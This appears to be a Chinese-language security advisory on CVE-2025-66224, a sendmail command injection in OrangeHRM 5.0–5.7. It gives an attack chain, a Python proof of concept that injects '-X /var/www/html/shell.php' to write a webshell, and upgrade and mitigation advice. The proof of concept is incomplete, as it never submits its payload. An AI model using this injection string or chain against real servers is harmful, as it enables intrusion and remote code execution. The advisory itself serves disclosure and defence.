IPBUF安全漏洞报告
English
CVE-2025-66224 CVSS 8.8 高危

CVE-2025-66224 OrangeHRM 5.0-5.7 sendmail命令注入漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66224
漏洞类型
命令注入/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM

相关标签

命令注入远程代码执行OrangeHRMsendmail邮件配置漏洞CVE-2025-66224HRM系统Webshell

漏洞概述

OrangeHRM是一套综合性人力资源管理系统(HRM)。在5.0到5.7版本中,应用在邮件配置和传递工作流中存在输入中和缺陷,允许用户控制的值直接流入系统的sendmail命令。由于这些值在并入命令执行路径之前未经过消毒或约束处理,某些sendmail行为可能会在邮件处理过程中被意外调用。这使得应用程序能够在邮件处理例程中向服务器写入文件,而在这些文件位于Web可访问位置的部署中,该行为可被利用来执行攻击者控制的内容。问题源于在邮件发送逻辑中使用未消毒的输入构建操作系统级命令字符串。此问题已在5.8版本中修复。

技术细节

该漏洞位于OrangeHRM的邮件配置模块中。应用程序在构建sendmail命令时,直接将用户可控的输入拼接到命令字符串中,而未进行任何输入验证或转义处理。攻击者可以通过修改邮件配置参数(如发件人地址、收件人地址等),注入恶意命令参数。当系统调用sendmail发送邮件时,这些恶意参数会被传递给底层操作系统命令。由于sendmail支持多种命令行选项,攻击者可以利用-f参数指定任意发件人,或利用其他选项将邮件内容写入Web可访问目录,从而实现远程代码执行。例如,通过构造包含恶意载荷的邮件配置,系统可能会将PHP代码写入web目录,后续通过HTTP请求访问该文件即可执行任意代码。

攻击链分析

STEP 1
步骤1
攻击者登录OrangeHRM系统,获取管理员或低权限用户凭据
STEP 2
步骤2
导航至邮件配置页面(admin/mailConfiguration)
STEP 3
步骤3
在邮件配置参数中注入恶意sendmail命令选项,如使用-X参数指定输出文件路径
STEP 4
步骤4
系统保存配置时,未消毒的用户输入被拼接到sendmail命令中
STEP 5
步骤5
当系统发送邮件时,攻击者构造的邮件内容会被写入到-X参数指定的文件(Web可访问目录)
STEP 6
步骤6
攻击者通过HTTP请求访问写入的Webshell文件,在服务器上执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66224 PoC - OrangeHRM Mail Configuration Command Injection # This PoC demonstrates how attacker-controlled input can be injected into sendmail command import requests import json TARGET_URL = "http://target.com/orangehrm" LOGIN_URL = f"{TARGET_URL}/index.php/auth/login" MAIL_CONFIG_URL = f"{TARGET_URL}/index.php/admin/mailConfiguration" session = requests.Session() # Step 1: Login with valid credentials login_data = { "txtUsername": "admin", "txtPassword": "admin", "Submit": "LOGIN" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Access mail configuration page response = session.get(MAIL_CONFIG_URL) # Step 3: Inject malicious command via mail configuration # The vulnerability allows injecting sendmail options that can write files malicious_config = { "txtMailAddress": "[email protected]", "txtSendmailPath": "/usr/sbin/sendmail -t -i", # Inject command to write web shell to accessible directory "txtExtraParams": "-O QueueDirectory=/tmp -X /var/www/html/shell.php" } # The above configuration would write mail content to shell.php # Subsequent HTTP request to shell.php would execute arbitrary code print("Mail configuration command injection PoC") print("Target: " + TARGET_URL) print("Vulnerability: Unsanitized input in mail configuration flows to sendmail command")

影响范围

OrangeHRM < 5.8
OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

防御指南

临时缓解措施
立即升级OrangeHRM到5.8版本。如果无法立即升级,可以临时禁用邮件功能或使用安全的邮件发送方式替代sendmail,同时限制Web目录的写权限,确保邮件处理过程中生成的文件无法被Web服务器访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表